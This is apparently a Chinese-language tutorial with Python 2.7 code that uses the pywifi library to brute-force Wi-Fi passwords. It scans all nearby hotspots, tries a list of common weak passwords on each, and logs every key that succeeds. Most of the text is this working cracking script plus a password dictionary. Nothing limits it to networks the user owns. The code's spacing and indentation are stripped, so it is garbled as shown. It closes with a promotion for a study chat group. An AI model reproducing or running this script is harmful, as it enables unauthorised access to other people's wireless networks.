環(huán)境準(zhǔn)備
python2.7
pywifi模塊
字典
清除系統(tǒng)中的任何wifi連接記錄
導(dǎo)入模塊
這里用的模塊就這三個(gè) pywifi的_wifiutil_linux.py腳本的 _send_cmd_to_wpas方法中的if reply != b'OK\n':判斷需要修改,不然會(huì)有很多的提示信息。
frompywifiimport*
importtime
importsys
字典準(zhǔn)備
隨機(jī)搞的wifi弱口令TOP10
12345678
123456789
88888888
1234567890
00000000
87654321
66668888
11223344
147258369
11111111
配置掃描器
推薦掃描時(shí)常可以設(shè)置在15-20秒之間 測(cè)試時(shí)常則可以自定義,考慮到認(rèn)證速度于距離的關(guān)系,我一般設(shè)置在15左右,再久的也沒意義 到時(shí)候就算破解成功的熱點(diǎn),信號(hào)也好不到哪里
defmain():
#掃描時(shí)常
scantimes=3
#單個(gè)密碼測(cè)試延遲
testtimes=15
output=sys.stdout
#結(jié)果文件保存路徑
files="TestRes.txt"
#字典列表
keys=open(sys.argv[1],"r").readlines()
print"|KEYS%s"%(len(keys))
#實(shí)例化一個(gè)pywifi對(duì)象
wifi=PyWiFi()
#選擇定一個(gè)網(wǎng)卡并賦值于iface
iface=wifi.interfaces()[0]
#通過(guò)iface進(jìn)行一個(gè)時(shí)常為scantimes的掃描并獲取附近的熱點(diǎn)基礎(chǔ)配置
scanres=scans(iface,scantimes)
#統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
nums=len(scanres)
print"|SCAN GET%s"%(nums)
print"%s\n%-*s|%-*s|%-*s|%-*s|%-*s|%-*s%*s\n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70)
#將每一個(gè)熱點(diǎn)信息逐一進(jìn)行測(cè)試
fori,xinenumerate(scanres):
#測(cè)試完畢后,成功的結(jié)果講存儲(chǔ)到files中
res=test(nums-i,iface,x,keys,output,testtimes)
ifres:
open(files,"a").write(res)
掃描周圍熱點(diǎn)
defscans(face,timeout):
#開始掃描
face.scan()
time.sleep(timeout)
#在若干秒后獲取掃描結(jié)果
returnface.scan_results()
熱點(diǎn)測(cè)試
這里后續(xù)推薦將掃描過(guò)程數(shù)據(jù)入庫(kù),防止重復(fù)掃描,且更加直觀。
deftest(i,face,x,key,stu,ts):
#顯示對(duì)應(yīng)網(wǎng)絡(luò)名稱,考慮到部分中文名嘖顯示bssid
showID=x.bssidiflen(x.ssid)>len(x.bssid)elsex.ssid
#迭代字典并進(jìn)行爆破
forn,kinenumerate(key):
x.key=k.strip()
#移除所有熱點(diǎn)配置
face.remove_all_network_profiles()
#講封裝好的目標(biāo)嘗試連接
face.connect(face.add_network_profile(x))
#初始化狀態(tài)碼,考慮到用0會(huì)發(fā)生些邏輯錯(cuò)誤
code=10
t1=time.time()
#循環(huán)刷新狀態(tài),如果置為0則密碼錯(cuò)誤,如超時(shí)則進(jìn)行下一個(gè)
whilecode!=0:
time.sleep(0.1)
code=face.status()
now=time.time()-t1
ifnow>ts:
break
stu.write("\r%-*s|%-*s|%s|%*.2fs|%-*s|%-*s%*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n","")))
stu.flush()
ifcode==4:
face.disconnect()
return"%-*s|%s|%*s|%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k)
returnFalse
案例
這里顯示本次測(cè)試使用了11個(gè)弱口令,并掃描到了20個(gè)熱點(diǎn),然后開始坑爹的跑起來(lái)了
WIFIID熱點(diǎn)的id號(hào) 每跑一個(gè)會(huì)減1
SSID OR BSSID熱點(diǎn)的ssid名或mac地址
N對(duì)熱點(diǎn)的連接狀態(tài),這個(gè)在
time當(dāng)前所花去的時(shí)間
signal熱點(diǎn)的信號(hào)強(qiáng)度,若小越好
KEYNUM測(cè)試密碼的id 每跑一個(gè)會(huì)減1
KEY當(dāng)前測(cè)試的密碼
無(wú)論是學(xué)習(xí)任何一門語(yǔ)言,基礎(chǔ)知識(shí),就是基礎(chǔ)功非常的重要,找一個(gè)有豐富編程經(jīng)驗(yàn)的老師或者師兄帶著你會(huì)少走很多彎路, 你的進(jìn)步速度也會(huì)快很多,無(wú)論我們學(xué)習(xí)的目的是什么,不得不說(shuō)Python真的是一門值得你付出時(shí)間去學(xué)習(xí)的優(yōu)秀編程
語(yǔ)言。我有建立一個(gè)python學(xué)習(xí)交流群,在群里我們相互幫助,相互關(guān)心,相互分享內(nèi)容,這樣出問(wèn)題幫助你的人就比較多,群號(hào)是304加上050最後799,這樣就可以找到大神聚合的群,如果你只愿意別人幫助你,不愿意分享或者幫助別人,那就請(qǐng)不要加了,你把你會(huì)的告訴別人這是一種分享。